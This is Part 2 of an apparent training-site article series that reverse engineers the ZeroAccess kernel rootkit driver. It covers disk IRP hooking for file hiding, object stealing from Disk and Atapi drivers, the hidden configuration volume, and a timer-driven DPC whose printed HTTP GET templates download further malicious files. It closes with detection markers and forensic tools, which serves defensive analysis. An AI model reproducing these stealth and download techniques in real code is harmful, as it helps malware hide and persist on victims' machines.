The Kernel-Mode Device Driver Stealth Rootkit
Part 1: Introduction and De-Obfuscating and Reversing the User-Mode Agent Dropper
Part 2: Reverse Engineering the Kernel-Mode Device Driver Stealth Rootkit
Part 3: Reverse Engineering the Kernel-Mode Device Driver Process Injection Rootkit
Part 4:Tracing the Crimeware Origins by Reversing the Injected Code
In Part 2 of the ZeroAccess Malware Reverse Engineering series of articles, we will reverse engineer the first driver dropped by the user-mode agent that was reversed in Part 1. The primary purpose of this driver is to support the stealth features and functionality of the ZeroAccess malicious software delivery platform. This rootkit has low level disk access that allows it to create new volumes that are totally hidden from the victim’s operating system and Antivirus. Consider the case where someone attempts to remove the rootkit by formatting the volume where their OS is installed (say the c:) and reinstalling Windows. ZeroAccess will survive this cleaning process and reinstall itself onto the fresh copy of Windows. This is likely very frustrating for anyone attacked by ZeroAccess. We will also investigate the IRP hooking routine that the rootkit employs to avoid detection and support invisibility features. ZeroAccess has the ability to infect various system drivers that further support stealth. Lastly, we will cover some vulnerabilities in the rootkit that allow for its detection using readily available tools.
First, lets report the metadata and hashes for this file:
FileSize: 132.00 KB (135168 bytes)
No VersionInfo Available.
No Resources Available.
When disassembly of this driver begins, the first thing that we notice is the presence of Debugging Symbols. What follows is a graphical skeleton for the order of execution between the various code blocks:
In modern advanced rootkits, the first operation performed after decrypting and dropping from the Agent is to cover its presence from users and antivirus. The functionality scope of this driver includes a set of operations to install a framework to make the infection resilient and almost impossible to remove, as well as completely infect the system drivers started by user-mode Agent.
The most handy and easily approachable method for rootkit driver analysis is to attach directly to the module. We will load a kernel-mode debugger, such as Syser. In our case the entire ZeroAccess code is placed into DriverEntry (the main() of every driver). We will also discover various dispatch routines and system threads that would give a non-linear execution flow.
Let’s check out the code from beginning:
If you remember, the selected system driver to be infected is stored as registry entry and starts with a ‘dot’. In the above code block, we see the driver checking for this registry key entry. Next, you can see ResultLength, which belongs to the OBJECT_ATTRIBUTES structure, is used specify attributes that can be applied to the various objects. To continue analysis:
We see OBJECT_ATTRIBUTES is filled with NULL values (EAX) except ObjectName that will contain RegistryPath, and then we have two subcalls. The first call performs registry key enumeration, then deletes it and returns the deletion status. The next call accomplishes the same task, this time deleting:
Next we see a call to an important routine:
100037A5 mov Object, eax ; Object = DriverObject
100037AA call sub_100036CA
Inside this sub we will see we have IRP Hooking routine.
Let’s begin with looking at this block of code:
Here we have one of the primary functionalities of ZeroAccess rootkit, the Disk Driver IRP Hooking routine. Disk.sys is a drivers that is responsible for interacting heavily with hardware. Every operation from the OS that deals disk storage must pass through DriverDisk. If you aren’t familiar with this concept, here is a visual representation of the Windows disk storage stack:
Picture is taken from http://technet.microsoft.com/en-us/library/ee619734%28WS.10%29.aspx
The red arrow points where ZeroAccess is lives and works, you can see this is the lowest level of the storage devices stack. The closer to the hardware, the more stealthy the rootkit can be. The technology used by ZeroAccess is simple conceptually, and has been found to be the most effective.
The concept behind IRP hooking is to replace the original IRP dispatch routines with the rootkit’s custom IRP handlers. If the rootkit succeds in hooking, the controlled IRPs are redirected to the rootkit code that accomplishes a certain operations, usually devoted to monitoring and/or invisibility and user deception. From a conceptual level, these high level goals are performed by the rootkit by manipulating data:
- Monitoring is implemented when input data is somehow stored and transmitted
- Invisibility is implemented when data returned to other processes and functions is modified
- User deception is implemented when fake data is returned
In our case returned data is specifically crafted to cover traces of malicious files located in and around the victim’s filesystem.
Let’s revert back to the latest code screenshot, as you can see IRP HandlerAddress is inserted into Object ( that is a pointer to DRIVER_OBJECT structure, which we detail later on) + 38h that corresponds to PDRIVER_DISPATCH MajorFunction. This is a dispatch table consisting of an array of entry points for the driver’s various dispatch routines. The array’s index values are the IRP_MJ_XXX values representing each IRP major function code.
We see the original Disk IRP Dispatch Table is filled with the malicious rootkit dispatch function. Essentially the malicious IRP handling function is going to need to parse an impressive amount of I/O request packets to verify if core rootkit files are touched. If it does detect that rootkit files are being accessed, it will return a fake result and mark it as completed in the IRP.
Let’s take a look at this function:
This function takes as arguments the previously described object pointer and the PIRP IRP. The PRIP IRP is the IRP to parse. At first, the object is parsed with a DeviceObject of the ZeroAccess Device. If two objects matches, the code calls sub_1000292A, which takes as an argument, the IRP itself . Next, it exits and returns the status given by this call. Inside the call sub_1000292A we have schematically another set of IRP parsing rules, this time directly focused on three specific areas:
- Core ZeroAccess rootkit file queries
- Power IRPs
- Malware IRP Requests
The I/O request to be faked are always managed in the same way, the function protype looks like this:
Irp->IoStatus.Status = FakeFailureStatus;
This completes the IRP via IofCompleteRequest function.
Power IRPs are managed via PoStartNextPowerIrp and similar functions.
Finally we have the IRP Traffic generated by ZeroAccess. Because of the nature of the traffic it is necessary to identify which process sent the request, this is accomplished by checking:
Let’s go back to the main handling function. In cases where objects does not match, the object is checked to see if the CurrentIrpStackLocation is 0x16. If it is 0x16, it is escalated via PoStartNextPowerIrp. The immediate effect of calling this routine lets the driver know it is finished with the previous power IRP.
The driver must then call PoStartNextPowerIrp while the current IRP stack location points to the current driver. Immediately after the code retrieves Irp->Tail.Overlay.CurrentStackLocation (which corresponds to an undocumented indirect use of IoGetCurrentIrpStackLocation). we have a PoCallDriver that passes a power IRP to the next-lowest driver in the device stack and exits. Let’s move on to the next block of code:
Here we have a conditional branch. It needs to match various requirements, one of them given by the call sub_1000273D that returns a NTSTATUS value stored into a variable that we called resStatOperation. Now if the conditional branch check fails, we suddenly reach a piece of code that sets IO_STATUS members and marks them as completed via IofCompleteRequest on the intercepted IRP.
The source code that likely created the completion code would have looked like:
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = resStatOperation;
IRPs that are not relevant to cloaking and hiding files are easly passed to the underlying driver and processed by the original corresponding dispatch routine. As you have seen in these code blocks, the whole parsing routine is based on the CurrentStackLocation struct member. This feature can be a bit difficult to understand, so we will explain it a bit more. The I/O Packet structure consists of two pieces:
- Various Stack Locations.
IRP Stack Location contains a function code constituted by Major and Minor Code, basically the most important is the Major Code because identifies which of a driver’s dispatch routines the IOManager invokes when passing an IRP to a driver.
__End IRP Hooking__
Let’ comeback now to the DriverEntry code
Inside call sub_10003108 we have an important piece of code:
Of particular importance the parameter of IoCreateDevice pointed to by the red arrow. FILE_DEVICE_DISK creates a disk like structure. If device creation is successful, the object is transformed in a Temporary Object. This is done because a Temporary Object and can be deleted later, meaning it can be removed from namespace, then next derefenced. The ObDereferenceObject decreases the reference count of an object by one. If the object was created (in our case transformed into) a temporary objct and the reference count reaches zero, the object can be deleted by the system.
As you can see from code immediately after we have the following string:
Let’s take a look at the next logical block of code:
The entire string 12345678.sav is passed as parameter to call sub_10002F87. Inside this call we have some weak obsfucation. The algorithm is pretty easy to decipher and can be de-obfuscated via a XOR + ADDITION where the key is a value extracted from Windows registry.
When reversing any kernel mode rootkit and you see the ZwCreateFile call, one of the parameters to inspect after the call is the member information of IO_STATUS_BLOCK structure. This is the 4th parameter of ZwCreateFile. It contains the final completion status, meaning you can then determine if the file has been, Created/Opened/Overwritten/Superdesed/etc.
Upon further analysis we determined that this -random-.sav file works as a configuration file. In addition to the information stored, there is a copy of original properties of the clean, uninfected system driver. If a user or file scanner accesses the infected driver, due to ZeroAccess’s low level interaction with Disk driver, file will be substituted on fly with original one. This will total deceive whatever process is inspecting the infected system driver.
Let’s look again at our routine.
As you can see here the rootkit checks for exactly the same thing, it compares IoStatusBlock->Information with constant value 0x2. This value corresponds to FILE_CREATE. If file has a FILE_CREATE status, then ZwFsControlCode sends to this file a FSCTL_SET_COMPRESSION control code.
The ZwSetInformationFile routine changes various kinds of information about a file object. In our case we have as the FileInformationClass, FileEndOfFileInformation that changes the current end-of-file information, supplied in a FILE_END_OF_FILE_INFORMATION structure. The operation can either truncate or extend the file. The caller must have opened the file with the FILE_WRITE_DATA flag set in the DesiredAccess parameter for this to work. Let’s look at the next block of code:
The ObReferenceObjectByHandle routine provides access validation on the object handle, and, if access can be granted, returns the corresponding pointer to the object’s body. After referencing our file object, via IoGetRelatedDeviceObject, we have the pointer corresponding to its device object.
If you remember, the device driver was builded with FILE_DEVICE_DISK. This means that the device represents a volume, as you can see from there code, there is a deviceObj->SectorSize reference.
By looking at the documentation for DEVICE_OBJECT we can see the following descriptor for SectorSize member:
“this member specifies the volume’s sector size, in bytes. The I/O manager uses this member to make sure that all read operations, write operations, and set file position operations that are issued are aligned correctly when intermediate buffering is disabled. A default system bytes-per-sector value is used when the device object is created “
The DISK structure will serve the purpose of offering an easy way to covertly manage the rootkit files, namely, by managing this rootkit device as a common Disk.
At this point if you take a look at start code of this driver you will see that in DriverEntry() we have a ‘.’ character check If the condition matches we have the execution flow previously seen, otherwise execution jumps directly to this last one piece of code:
The above instructions are fully commented. EBX points to the string of the randomly selected System Driver, call sub_10002F87 scrambles the ‘Snifer67’ string according to a value extracted from a registry key value. Next you can see a call that we have named HashCheck. It takes three arguments, HANDLE SourceString, int, PULONG HashValue:
If the hash check fails, inside the call sub_100036E9, MDL is released. Otherwise execution is reidrected toward call sub_100022C3, as shown below:
What we have here is a method of interaction between kernel-mode and user-mode called memory sharing. With memory sharing, it is possible to map kernel memory into user mode. There are two common techniques for memory sharing, they are:
- Shared objects and shared views.
- Mapped memory buffers
We have already seen how Section Objects work in user-mode, in kernel-mode the concept is not very different. What changes in this case we have to deal with MDLs, and we need additional security checks because sharing memory between kernel and user space can be a pretty dangerous operation. After opening a Section into the target a View is created by using ZwMapViewOfSection. Let’s suppose that you want to know where this section is opened, a fast way to discover this is via handle table check.To do this, the first step is to locate where handle is stored. Simply point your debugger memory view to the SectionHandle parameter of ZwOpenSection.
If Section Opening is successful, in memory you will see the handle, and now we can query more details about this handle. The syntax varies with your debugger of choice:
In Syser type: handle handle_number
In WinDbgtype : !handle handle_number ff
Here is what the WinDbg output looks like:
> !handle 1c0 ff
Object Specific Information
In our case, the Section Object and successive View is opened into the randomly chosen system driver. It’s important to specify that the usage of ZwMapViewOfSection maps the view into the user virtual address space of the specified process. Mapping the driver’s view into the system process prevents user-mode applications from tampering with the view and ensures that the driver’s handle is accessible only from kernel mode. Let’s take a look at the next code block:
The MmAllocatePagesForMdl routine allocates zero-filled, nonpaged, physical memory pages to an MDL. In ESI, if allocation succeeds, we have the MDL pointer, used by MmMapLockedPagesSpecifyCache that maps the physical pages that are described by MDL pointer, and allows the caller to specify the cache behavior of the mapped memory. The BaseAddress parameter specifies the Starting User Address to map the MDL to. When this param value is NULL the system will choose the StartingAddress. EBX contains the return value that is the starting address of the mapped pages. Next there is a classic memcpy, which the author has documented in the screenshot.
This call returns a true/false value based on the success/fail of ZwMapViewOfSection.
If the function fails, execution will jump to the MDL Clear call previously seen and then exits. In the else case we land to the final piece of this driver. Once again, let’s clarify that the scope of all of these operations performed on the randomly chosen System Driver, the purpose is inoculate malicious code delivered by the authors of ZeroAccess and to ensure that the rootkit survives any sort of cleaning or antivirus operation. Lets review the next block of code:
This section is rich in functionality that is of interest to malware reverse engineers. Let’s first look at the first call of the routine, call sub_10002D9F, which takes as argument the previously described SourceString. Further analysis shows:
You should be able understand what this piece of code does, it’s pretty similar to the Memory Sharing routine previously seen. This time SectionObject is applied to the randomly chosen driver.
Let’s now examine the second call:
This is an interesting piece of code. ObReferenceObjectByName is an Undocumented Export of the kernel declared as follow:
NTSYSAPI NTSTATUS NTAPI ObReferenceObjectByName(
PVOID ParseContext OPTIONAL,
OUT PVOID* Object);
This function is given a name of an object, and then the routine returns a pointer to the body of the object with proper ref counts, the wanted ObjectType is clearly specified by the 5th parameter ( POBJECT_TYPE ). In our case it will be IoDriverObjectType.
ObReferenceObjectByName is a handy function largely used by rootkits to steal objects or as a function involved in the IRP Hooking Process. In our case we have an object stealing attempt, if you remember IRP Hook already happened previously in our analysis. The way this works is by locating the pointer to the driver object structure (DRIVER_OBJECT) that represents the image of a loaded kernel-mode driver, the rootkit is able to access, inspect and modify this structure.
Now, let’s take a look at this block code uncommented. We want to show you the WinDbg view with addition of -b option and the complete DRIVER_OBJECT structure:
0:001> dt nt!_DRIVER_OBJECT -b
+0x000 Type : Int2B
+0x002 Size : Int2B
+0x004 DeviceObject : Ptr32
+0x008 Flags : Uint4B
+0x00c DriverStart : Ptr32
+0x010 DriverSize : Uint4B
+0x014 DriverSection : Ptr32
+0x018 DriverExtension : Ptr32
+0x01c DriverName : _UNICODE_STRING
+0x000 Length : Uint2B
+0x002 MaximumLength : Uint2B
+0x004 Buffer : Ptr32
+0x024 HardwareDatabase : Ptr32
+0x028 FastIoDispatch : Ptr32
+0x02c DriverInit : Ptr32
+0x030 DriverStartIo : Ptr32
+0x034 DriverUnload : Ptr32
+0x038 MajorFunction : Ptr32
This code is easy to understand. From the base pointer there is an additional value that reaches the wanted DRIVER_OBJECT member, the other blue colorred members are stolen.
We get more clarity if you take a look at last member entry that corresponds (you can see this via a live debugging session) to DriverDisk. Next ObfDereferenceObject is called, the goal is to dereference the Driver Object previously obtained with ObReferenceObjectByName. We want to show the fact that the ‘f’ variant of ObDereferenceObject is. This ‘f’ verion is undocumented, before this call we do not see the typical stacked parameter passage. This is the fastcall calling method.
Now let’s see the next call:
KeInitializeQueue initializes a queue object on which threads can wait for entries, immediately after as you can see, after object referencing, we have a PsCreateSystemThread that creates a system thread that executes in kernel mode and returns a handle for the thread. Observe that the last parameter pushed StartContext is the stolen DriverObject, this parameter supplies a single argument that is passed to the thread when execution begins.
Now, we have a break in linear execution flow, so we need to put a breakpoint into the StartRoutine to be able to catch from debugger what happens into this System Thread.
__System Thread Analysis__
Let’s check out the code of this System Thread.
Like the DPC (Deferred Procedure Call), the System Thread will serve network purposes.
__End Of System Thread Analysis__
Now we are on the final piece of code of DriverEntry, an IoAllocateWorkItem is called, this function allocates a work item, its return value is a pointer to IO_WORKITEM structure.
A driver that requires delayed processing can use a work item, which contains a pointer to a driver callback routine that performs the actual processing. The driver queues the work item, and a system worker thread removes the work item from the queue and runs the driver’s callback routine. The system maintains a pool of these system worker threads, which are system threads that each process one work item at a time.
It’s interesting that a DPC that needs to initiate a processing task which requires lengthy processing or makes a blocking call should delegate the processing of that task to one or more work items. While a DPC runs, all threads are prevented from running. The system worker thread that processes a work item runs at IRQL = PASSIVE_LEVEL. Thus, the work item can contain blocking calls. For example, a system worker thread can wait on a dispatcher object.
In our case if IoAllocateWorkItem returns a NULL value (this could happen if there are not enough resources), execution jumps directly to IoCreateDriver, otherwise a Kernel Timer is installed and a DPC called. But let’s see in detail what this mean.
KeInitializeTimer fills the KTIMER structure, successively KeInitializeDpc creates a Custom DPC and finally KeSetTimerEx sets the absolute or relative interval at which a timer object is to be set to a Signaled State.
__inout PKTIMER Timer,
__in LARGE_INTEGER DueTime,
__in LONG Period,
__in_opt PKDPC Dpc
Due to the fact that we are in presence of a DPC, the whole routine is a classical CustomTimerDpc installation, this Deferred Procedure Call is executed when timer object’s interval expires.
What emerges from the whole routine is another break in linear execution flow of the device driver given by KeInitializeDpc.The DPC provides the capability of breaking into the execution of the currently running thread (in our case when timer expires) and executing a specified procedure at IRQL DISPATCH_LEVEL. DPC can be followed in the debugger by placing a breakpoint into the address pointed by DeferredRoutine parameter of KeInitializeDpc.
__Deferred Procedure Call Analysis__
This is the core instructions related to the Deferred Procedure Call installed:
We need to inspect WorkerRoutine, pointed by the IoQueueWorkItem parameter. Without going into unnecessary detail, from inspection of WorkerRoutine we find the RtlIpv4StringToAddressExA function. It converts a string representation of an IPv4 address and port number to a binary IPv4 address and port. By checking IDA NameWindow we can see via CrossReferences that reconducts to DPC routine the following strings:
db ‘GET /%s?m=%S HTTP/1.1‘,0Dh,0Ah
db ‘Host: %s‘,0Dh,0Ah
db ‘User-Agent: Opera/9.29 (Windows NT 5.1; U; en)‘,0Dh,0Ah
db ‘Connection: close‘,0Dh,0Ah
db ‘GET /install/setup.php?m=%S HTTP/1.1‘,0Dh,0Ah
db ‘Host: %s‘,0Dh,0Ah
db ‘User-Agent: Opera/9.29 (Windows NT 5.1; U; en)‘,0Dh,0Ah
db ‘Connection: close‘,0Dh,0Ah
The DPC is connecting on the network at the TDI (Transport Data Interface), this is immediately clear due to the usage of TDI providers DeviceTcp and DeviceTcp. The purpose of this is clear, the DPC downloads other malicious files that will be placed into:
Vulnerabilities in the ZeroAccess Rootkit.
Every rootkit has features that are more stealthy than others. In our case with the ZeroAccess rootkit the filesystem stealth features are very good. When reverse engineering malware to this level, we discover some weaknesses in the stealth model that we can exploit. This results in some common markers of rootkit infection.
In this driver the most visible points are:
- System Thread
- Kernel Timer and DPC
- Unnamed nature of the Module
Let’s see DPC infection from an investigation perspective. A DPC is nothing more that a simple LIST_ENTRY structure with a callback pointer, represented by KDPC structure. This structure is a member of DEVICE_OBJECT structure, so a easy method to be able to retrieve this Device Object is to surf inside and locate presence of DPC registered routines. To accomplish this task we usually use KernelDetective tool, really handy application that can greatly help kernel forensic inspections.
DPC is associated to a Timer Object so we need to enumerate all kernel timers:
As you can see, the timer is suspect because module is unnamed, and the period corresponds to the one previously seen into the code block screenshot. Scrolling down into an associated DPC we have the proof that ZeroAccess is present:
As you should remember this driver also creates a System Thread via PsCreateSystemThread. This operation is extremely visible because the function creates a system process object. A system process object has an address space that is initialized to an empty address space that maps the system.The process inherits its access token and other attributes from the initial system process. The process is created with an empty handle table.
All this implies that when looking for a rootkit infection, you should also include inspecting the System Thread. These are objects that really easy to reach and enumerate; we can use the Tuluka ( http://www.tuluka.org/ ) tool to automatically discover suspicious system threads:
__End Of Deferred Procedure Call Analysis__
After the CustomTimerDpc installation, finally we land to the last piece of code where IoCreateDriver is called. This is another undocumented kernel export.
NTSTATUS WINAPI IoCreateDriver(
PDRIVER_INITIALIZE init ) ;
This function creates a driver object for a kernel component that was not loaded as a driver. If the creation of the driver object succeeds, the initialization function is invoked with the same parameters passed to DriverEntry.
So we have to inspect this ‘new’ DriverEntry routine.
Here is the code for the new DriverEntry:
Object Directory is opened via ZwOpenDirectoryObject and after allocating a block of Pool Memory, this block will be used to store output of ZwQueryDirectoryObject.
In this piece of code, rootkit loops inside Object Directory, and assembling for each iteration the following string:
From Object Name obtains a DEVICE_OBJECT pointer by using IoGetDeviceObjectPointer. This pointer gives us the following relations:
DeviceObject = Object->DeviceObject;
drvObject = DeviceObject->DriverObject;
Now we have both DeviceObject and DriverObject.
The DriverObject creates the corresponding device and next verifies if DeviceObject->DeviceType is a FILE_DEVICE_CONTROLLER . If so, it then performs the aforementioned object stealing routine.
Essentially the rootkit searches through the stack of devices and selects IDE devices that are responsible of interactions with victim’s disk drives.
IDE devices are created by the atapi driver. The first two you see in the illustration below, serve as the CD and Hard Disk. The last two are controllers that work with with Mini-Port Drivers. This is why ZeroAccess looks for FILE_DEVICE_CONTROLLER types (IdePort1 and IdePort0)
This means that ZeroAccess must add object stealing capabilities not only Disk.sys but also Atapi.sys.
Let’s now observe with DeviceTree how driver and device anatomy change after a ZeroAcess rootkit infection:
We have some critical evidence of a ZeroAccess rootkit infection, we see presence of two Atapi DRV instances where one of them has a stack of Unnamed Devices.This behavior is also typical of a wide range of rootkits. This output is matches perfectly with the analysis of the driver code instructions performed previously. .
In the second instance, we have evidence that is a bit less evident. We see two new devices that belong to Atapi Driver:
Here we see another example of object stealing with the IRP Hook for FileSystem hiding purposes, this time based on DevicePCI.
This completes the analysis of the first driver.
Next, in part 3 we reverse Engineering the Kernel-Mode Device Driver Process Injection Rootkit >>
We've encountered a new and totally unexpected error.
Get instant boot camp pricing
A new tab for your requested boot camp pricing will open in 5 seconds. If it doesn't open, click here.